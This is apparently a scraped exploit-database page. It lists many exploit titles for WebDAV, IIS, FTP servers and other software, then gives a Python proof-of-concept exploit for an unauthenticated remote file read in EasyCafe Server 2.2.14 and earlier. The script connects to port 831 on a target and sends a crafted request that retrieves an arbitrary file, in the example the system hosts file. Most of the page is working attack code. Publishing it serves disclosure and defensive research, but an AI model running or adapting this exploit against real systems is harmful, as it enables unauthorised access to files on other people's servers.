8fea20e59f
12 new exploits Microsoft Windows WebDAV - (ntdll.dll) Remote Exploit Microsoft Windows WebDAV - Remote PoC Exploit Microsoft Windows IIS WebDAV - 'ntdll.dll' Remote Exploit Microsoft Windows IIS 5.0 WebDAV - Remote PoC Exploit Microsoft Windows WebDav II - Remote Root Exploit (2) Microsoft Windows WebDAV - Remote Root Exploit (2) Microsoft Windows WebDav III - Remote Root Exploit (xwdav) Microsoft Windows WebDAV IIS 5.0 - Remote Root Exploit (3) (xwdav) Dream FTP 1.2 - Remote Format String Exploit BolinTech Dream FTP Server 1.2 (1.02/TryFTP 1.0.0.1) - Remote User Name Format String Exploit Apache Tomcat (webdav) - Remote File Disclosure Exploit Apache Tomcat (WebDAV) - Remote File Disclosure Exploit Apache Tomcat (webdav) - Remote File Disclosure Exploit (ssl support) Apache Tomcat (WebDAV) - Remote File Disclosure Exploit (SSL) Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (patch) Microsoft IIS 6.0 WebDAV - Remote Authentication Bypass Exploit (Patch) Microsoft IIS 6.0 WebDAV Remote Authentication Bypass Exploit (PHP) Microsoft IIS 6.0 WebDAV - Remote Authentication Bypass Exploit (PHP) Windows 7 IIS7.5 FTPSVC UNAUTH'D Remote DoS PoC Windows 7 IIS 7.5 - FTPSVC UNAUTH'D Remote DoS PoC Microsoft IIS 5.0 WebDAV ntdll.dll Path Overflow Microsoft Windows IIS 5.0 WebDAV - ntdll.dll Path Overflow Liferay 6.0.x Webdav File Reading Vulnerability Liferay 6.0.x WebDAV - File Reading Vulnerability Microsoft iis 6.0 and 7.5 - Multiple Vulnerabilities Microsoft IIS 6.0 and 7.5 (+ PHP) - Multiple Vulnerabilities Microsoft Windows XP/2000/NT 4 ntdll.dll Buffer Overflow Vulnerability (1) Microsoft Windows XP/2000/NT 4 ntdll.dll Buffer Overflow Vulnerability (2) Microsoft Windows XP/2000/NT 4 ntdll.dll Buffer Overflow Vulnerability (3) Microsoft Windows XP/2000/NT 4 ntdll.dll Buffer Overflow Vulnerability (4) Microsoft Windows XP/2000/NT 4 IIS 5.0 WebDAV - ntdll.dll Buffer Overflow Vulnerability (1) Microsoft Windows XP/2000/NT 4 IIS 5.0 WebDAV - ntdll.dll Buffer Overflow Vulnerability (2) Microsoft Windows XP/2000/NT 4 IIS 5.0 WebDAV - ntdll.dll Buffer Overflow Vulnerability (3) Microsoft Windows XP/2000/NT 4 IIS 5.0 WebDAV - ntdll.dll Buffer Overflow Vulnerability (4) BolinTech Dream FTP Server 1.0 User Name Format String Vulnerability (2) Sun Solaris 8/9 - Unspecified Passwd Local Root Compromise Vulnerability Invision Power Board 2.1.x IPSClass.PHP SQL Injection Vulnerability (1) Apache 2.x HTTP Server Arbitrary HTTP Request Headers Security Weakness Apache HTTP Server (<= 1.3.35 / <= 2.0.58 / <= 2.2.2) - Arbitrary HTTP Request Headers Security Weakness Apache HTTP Server <= 2.2.4 413 Error HTTP Request Method Cross-Site Scripting Weakness Apache HTTP Server <= 2.2.4 - 413 Error HTTP Request Method Cross-Site Scripting Weakness MediaWiki 1.22.1 PdfHandler - Remote Code Execution Exploit Apache Struts 2.x XWork 's:submit' HTML Tag Cross Site Scripting Vulnerability Apache Struts 2.0.0 <= 2.2.1.1 - XWork 's:submit' HTML Tag Cross Site Scripting Vulnerability EasyCafe Server <= 2.2.14 Remote File Read EasyCafe Server <= 2.2.14 - Remote File Read x86_64 Linux bind TCP port shellcode TCP Bindshell with Password Prompt - 162 bytes x86_64 Linux bind TCP port shellcode TCP Bindshell with Password Prompt - 162 bytes Microsoft Windows 7-10 & Server 2008-2012 - Local Privilege Escalation (x32/x64) (MS16-032) (C#) CakePHP Framework 3.2.4 - IP Spoofing Multiples Nexon Games - Unquoted Path Privilege Escalation eXtplorer 2.1.9 - Archive Path Traversal Web interface for DNSmasq / Mikrotik - SQL Injection Microsoft Excel 2010 - Crash PoC Hex : Shard of Fate 1.0.1.026 - Unquoted Path Privilege Escalation Web2py 2.14.5 - Multiple Vulnerabilities
55 lines
No EOL
2 KiB
Python
Executable file
55 lines
No EOL
2 KiB
Python
Executable file
#!/usr/bin/python -w
|
|
# Title : EasyCafe Server <= 2.2.14 Remote File Read
|
|
# Date : 25/12/2015
|
|
# Author : R-73eN
|
|
# Tested on : Windows 7 Ultimate
|
|
# Software Link : http://www.tinasoft.com/easycafe/
|
|
# Download Link: http://www.tinasoft.com/Download/easysetup.exe
|
|
# Vulnerable Versions : EasyCafe Server <= 2.2.14
|
|
# EasyCafe Server has a feature to upload file from the server to a client.
|
|
# And the request is as following. EasyCafe Server sends an UDP request to the client with the file that wants to upload,
|
|
# Then the client receives the packet and connects to the server on port 831 and sends the directory of the file and receives it.
|
|
# The problem is that a remote attacker can connect to port 831 and can retrive a file becuase the server doesn't validate the request,
|
|
# and does not check if it has sent the UDP request which gives us full Read access to the system.
|
|
#
|
|
#EDB Note: Code my need some adjusting
|
|
|
|
import socket
|
|
#Banner
|
|
banner = ""
|
|
banner += " ___ __ ____ _ _ \n"
|
|
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ / \ | | \n"
|
|
banner +=" | || '_ \| |_ / _ \| | _ / _ \ '_ \ / _ \ | | \n"
|
|
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ \| |___ \n"
|
|
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|\n\n"
|
|
print banner
|
|
|
|
|
|
|
|
IP = "192.168.43.36" # Target IP
|
|
PORT = 831
|
|
file_to_read = "C:\\Windows\\System32\\drivers\\etc\\hosts" # File to read
|
|
|
|
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((IP, PORT))
|
|
file_to_read = "\x43" + file_to_read
|
|
hex_value = ''.join(x.encode('hex') for x in file_to_read)
|
|
fill = "\x00"
|
|
end = "\x01\x00\x00\x00\x01"
|
|
payload = hex_value.decode("hex") + fill * (261 - len(end) - len(file_to_read)) + end
|
|
s.send(payload)
|
|
s.settimeout(0)
|
|
print "[+] Request Send Waiting for Response . . . [+]"
|
|
|
|
try:
|
|
data = s.recv(261) # Get header
|
|
while data:
|
|
data = s.recv(2048)
|
|
print data
|
|
|
|
except Exception:
|
|
print "[+] https://www.infogen.al/ [+]"
|
|
finally:
|
|
s.close() |